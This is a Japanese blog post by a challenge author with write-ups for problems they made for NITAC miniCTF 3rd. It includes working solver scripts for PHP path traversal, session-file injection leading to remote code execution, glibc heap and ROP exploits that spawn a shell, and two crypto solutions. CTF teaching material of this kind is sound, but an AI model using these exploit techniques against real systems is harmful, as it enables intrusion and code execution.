CTFするぞ

CTF以外のことも書くよ

NITAC miniCTF 3rd 作問writeup

こんなCTFがあったんで参加しようと思ったのですが、こんなツイートを見て作問お手伝いすることにしました。 作問に参加した時点では割と自明問が多く、某氏とか某氏に即全完されそうな感じだったので、私は若干難しめのものを作りました。 といっても初心者向けCTFかつ短期間なので、ある程度自明な問題のみを提供しました。

上位5チームはこんな感じです:

f:id:ptr-yudai:20200126173834p:plain

zer0ptsが上位2チームを専有してて嬉しい。 明石高専のCTFなのに、なんか部外者が勝手にぽこぽこ問題を生やしてmergeしていって申し訳なかったです。

[Web 100] Admin Portal 1

本当はSQLiで任意ユーザー名を作って、それを使ってAdmin Portal 3のRCEを引き起こす問題だったのですが、明らかに誰もWeb問を作ってなかったので小手先でフラグをばら撒いて問題数を増やしました。 Admin Portal 1は本当に簡単で、登録フォームがコメントアウトされているので開発者ツールなどでコメントを外してユーザー登録すると、ログインできます。 ログインしたらフラグが表示されます。

import requests
import random
import re

url = "http://0.0.0.0:8001"

data = {"username": "guest_{}".format(random.randrange(0, 1<<32)),
        "password": "guest"}
r = requests.post("{}/register.php".format(url), data)

r = requests.post("{}/login.php".format(url), data)
print(re.findall("(NITAC\{.+\})", r.text))

[Web 200] Admin Portal 2

Admin Portal 3用のLFIですが、初心者向けに普通のLFI問も用意しました。 ?lang=en.htmlなどとなっている部分を?lang=../../../../flag2.txtなどにすればフラグがincludeされて表示されます。

import requests
import random
import re

url = "http://0.0.0.0:8001"

data = {"username": "guest_{}".format(random.randrange(0, 1<<32)),
        "password": "guest"}
r = requests.post("{}/register.php".format(url), data)
r = requests.post("{}/login.php".format(url), data, allow_redirects=False)

payload = {"lang": "../../../../flag2.txt"}
r = requests.get("{}".format(url), params=payload, cookies=r.cookies)
print(re.findall("(NITAC\{.+\})", r.text)[0])

[Web 300] Admin Portal 3

これが本題で、フラグの場所が分からないのでRCEをする必要があります。 ヒントで提示した環境のPHPはセッションを/tmp/sess_????に保存します。 ソースコードを読むとログインしているかの条件としてセッションにユーザー名を入れています。 したがって、ユーザー名として <? system("ls -lha /"); ?>のような文字列を使うとセッションファイルにこの文字列が書き込まれます。 それをLFIでincludeしてやると、PHPとして認識されるので任意コマンドが実行できます。

import requests
import random
import re

url = "http://0.0.0.0:8001"

data = {"username": '{}_<? system("/flag3.execute_me"); ?>'.format(random.randrange(0, 1<<32)),
        "password": "guest"}
r = requests.post("{}/register.php".format(url), data)
r = requests.post("{}/login.php".format(url), data, allow_redirects=False)

payload = {"lang": "../../../../tmp/sess_{}".format(r.cookies['PHPSESSID'])}
r = requests.get("{}".format(url), params=payload, cookies=r.cookies)
print(re.findall("(NITAC\{.+\})", r.text)[0])

[Pwn 250] babynote

初心者向けpwnとして出題しました。 libcのアドレスが貰えて自明なヒープオーバーフローがあるので、fdを書き換えて__free_hookに繋いでsystem("/bin/sh");を呼べば終わりです。

from ptrlib import *

def create(data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", data)
    return

def show(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
    return

def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))
    return

libc = ELF("../distfiles/libc-2.27.so")
#sock = Process("../distfiles/babynote")
sock = Socket("babynote.ctf.jyoken.net", 80)

sock.recvuntil(": ")
libc_base = int(sock.recvline(), 16) - libc.symbol('_IO_2_1_stdin_')
logger.info("libc = " + hex(libc_base))

# heap overflow
create("0")
create("1")
create("2")
create("/bin/sh")
delete(2) # for tcache cnt
delete(1)
delete(0)
payload  = b'A' * 0x98
payload += p64(0xa1)
payload += p64(libc_base + libc.symbol('__free_hook'))
create(payload) # house of spirit

# overwrite __free_hook
create("dummy")
create(p64(libc_base + libc.symbol('system')))

# get the shell!
delete(3)

sock.interactive()

この問題は5チームくらいは序盤で解けると想定していたのですが、なぜか解かれませんでした。

[Pwn 300] ezstack

初級〜中級者向けpwnとして出題しました。 ローカルバッファにpush、popして遊べるのですが、popのサイズとして負数を渡せます。 負数を渡すと

stack->sp -= size

でspが進むので、その次の

printf("[+] %s\n", &stack->stack[stack->sp]);

でバッファの範囲外を読めるため、libcやスタックのアドレスなどがリークできます。

しかし、pushでは

stack->sp += readline(&stack->stack[stack->sp], STACK_SIZE - stack->sp);

としており、readlineはサイズに負数が渡されると失敗して何も起きないためデータを書き込めません。 一見詰んでいるように見えるのですが、ここで更にpopを使います。 popするとspにある1バイトをNULLで終端に書き換えます。 したがって、popでsaved rbpに飛ばした後に再度popすると、saved rbpの下位1バイトを0x00に変更できます。 ezstack, mainともに、関数の終端はpop rbp; ret;なので、これによりrspをバッファの周辺に飛ばすことができます。 バッファのどの辺りに飛ぶかはASLRにより分かりませんが、バッファは十分に大きいので、ret gadgetを大量に書き込んでおき、最後の方でROPしておけば高い確率でROP chainが実行されます。

from ptrlib import *

def push(data):
    sock.sendlineafter("> ", "1")
    sock.sendafter("data: ", data)
    return

def pop(size):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter("size: ", str(size))
    sock.recvuntil("[+] ")
    return sock.recvline()

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF("../distfiles/ezstack")
#sock = Process("../distfiles/ezstack")
sock = Socket("ezstack.ctf.jyoken.net", 80)

rop_pop_rdi = 0x0002155f
rop_ret = 0x000008aa

# leak libc base
libc_base = u64(pop(-0x130)) - libc.symbol("__libc_start_main") - 231
logger.info("libc base = " + hex(libc_base))
pop(0x130)

# leak stack base and set the least byte to 0x00
stack_base = u64(pop(-0x108)) - 0x128
logger.info("stack base = " + hex(stack_base))
pop(0x108)

# set rop chain
payload = p64(libc_base + rop_ret) * (0x100 // 8 - 3)
payload += p64(libc_base + rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
push(payload)

# get the shell
sock.sendlineafter("> ", "3")

sock.interactive()

脆弱性が非自明なのでblindnoteより難しかったかも......?

[Pwn 400] blindnote

pwn強いチームの参加が観測されたので直前に追加した問題です。 中身としてはbabynoteからshowと最初のlibc baseくれる部分を削っただけです。 脆弱性も同じでヒープオーバーフローがあるので、stdoutとかからlibc leakしてtcache poisoningすれば終わりです。 300点くらいの難易度ですが、チャンクサイズ固定なのでヒープレイアウトに注意して最初に良い感じの順番でdeleteする必要があり、工夫点として100点おまけしました。(は?)

from ptrlib import *

def create(data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", data)
    return

def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))
    return

libc = ELF("../distfiles/libc-2.27.so")
#sock = Process("../distfiles/blindnote")
sock = Socket("blindnote.ctf.jyoken.net", 80)

# prepare unsorted bin
for i in range(8):
    create("AAAAAAAA")
delete(7)
delete(6)
delete(5)
delete(2)
delete(3)
delete(1) # --> points to chunk:3, which is nearby chunk:4
delete(0)
delete(4) # unsorted bin!

# libc leak
payload  = b'A' * 0x98 + p64(0xa1)
payload += b'\xe0'
create(payload) # 0
payload  = b'A' * 0x98 + p64(0xa1)
payload += b'A' * 0x98 + p64(0xa1)
payload += b'A' * 0x98 + p64(0xa1) # overwrite chunk:4 from chunk:1
#payload += b'\x60\x07\xdd'
payload += b'\x60\x77'
create(payload) # 1
create("dummy") # 2
payload  = p64(0xfbad1800)
payload += p64(0) * 3
payload += b'\x08'
create(payload) # 3
libc_base = u64(sock.recv(8)) - 0x3ed8b0
logger.info("libc = " + hex(libc_base))
assert libc_base < 0x0010000000000000

# house of spirit
delete(1)
delete(0)
payload = b'A' * 0x98 + p64(0xa1) + p64(libc_base + libc.symbol('__free_hook'))
create(payload) # 0
create("/bin/sh\0") # 1
create(p64(libc_base + libc.symbol('system')))

# get the shell!
delete(1)

sock.interactive()

[Crypto 200] modulo

これは明石高専の方が考えた問題ですが、時間が無くて実装できなかったらしいので代わりに作りました。 フラグを1〜123456の中の好きな整数で割った余りが貰えます。 フラグのサイズは高々256bitと分かっているので、大きい順に素数で割った余りを貰い、積が1<<256を超えた時点でCRTで解を導出すればOKです。

from ptrlib import *
from Crypto.Util.number import isPrime

th = 1 << 256

w = 1
pairs = []
for n in range(123455, 0, -1):
    if not isPrime(n):
        continue
    
    sock = Socket("0.0.0.0", 7001)
    sock.sendline(str(n))
    sock.recvuntil(": ")
    pairs.append((int(sock.recvline()), n))
    print(pairs[-1])
    sock.close()

    w *= n
    if w > th:
        break

f = chinese_remainder_theorem(pairs)
print(int.to_bytes(f[0], length=256//8, byteorder='big'))

[Crypto 300] Circular RSA

楕円曲線出したかったけど良い感じの楕円曲線が生まれなかったので諦めてRSAにしました。 通常のRSAについて、

 p^{2} + q^{2} = r^{2} \mod pq

となるr^{2}がセットで渡されます。

とりあえず  p^{2} + q^{2} を知っていると仮定して考えてみます。 すると、n=pqより

p^{2} + \left(\cfrac{n}{p} \right)^{2} = r^{2}

p^{4} - r^{2}p^{2} + n^{2} = 0

となり、

 p = \sqrt{\cfrac{r^{2} \pm \sqrt{r^{4} - 4n^{2}}}{2}}

が分かります。ただ、今回貰っているのはr^{2} \mod nです。

ここで、

p^{2} + q^{2} = (r^{2} \mod n) + kn

なる整数kが分かれば、r^{2}が分かるのでp, qを計算できます。 kはすなわち

 k = \lfloor \cfrac{p^{2} + q^{2}}{pq} \rfloor = \lfloor \cfrac{p}{q} + \cfrac{q}{p} \rfloor

なのですが、p,qはいずれも512ビットであることが分かっています。 つまり、p,q2^{512} - 1から2^{511}の範囲を動くときの\cfrac{p}{q} + \cfrac{q}{p}の範囲を考えれば良いわけです。 この関数は正の範囲で極大値を持たないのですが、今回の範囲で考えると極小値が2で、3以上になることは有り得ないことが分かります。

したがって、k = 2が特定できます。 すなわち、

p^{2} + q^{2} = (r^{2} \mod n) + 2n

よりr^{2}が求まり、先の式からp, qの値が定まります。 これを使ってRSAを解けばフラグが出てきます。

c = 54824639298391376755026467308714291359262294793036133791220357610709439063299375616586034773118457824984258016529054434262431425730126094459939617002704781437423764779537446372419486106534889681361292972850636399356061972348915381731466615819006733225844633317451355239574062603892227674028869485742057224659
n = 119373707746003398968050893961443417364394824723759068858955243068986546134208874687564785379251256013857566962539760673690977797086359460976673054638616431114121854656322391660470789496268580084150434875798956745806859500242537865804199576495969512866376003815094580443011485001231787505484680120104234427717
r2 = 6205365790736677585062437525900518460670717278435160523717212712674574509659597111232308409435132474822972013082967991312588722579430915764013021798285278613410604743669103483390010482991694580593568432124515154735240686197920497340416655992592761981630754076548585425594817318139602052031398283879489708176
r2 += n * 2
e = 0x10001

p_1 = (r2 - sqrt(r2^2 - 4*n^2)) / 2
p_2 = (r2 + sqrt(r2^2 - 4*n^2)) / 2
if p_1.is_square():
    p = sqrt(p_1)
elif p_2.is_square():
    p = sqrt(p_2)
else:
    print("`p` not found")

q = n / p
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)

m = power_mod(c, d, n)
print(m.hex().decode("hex"))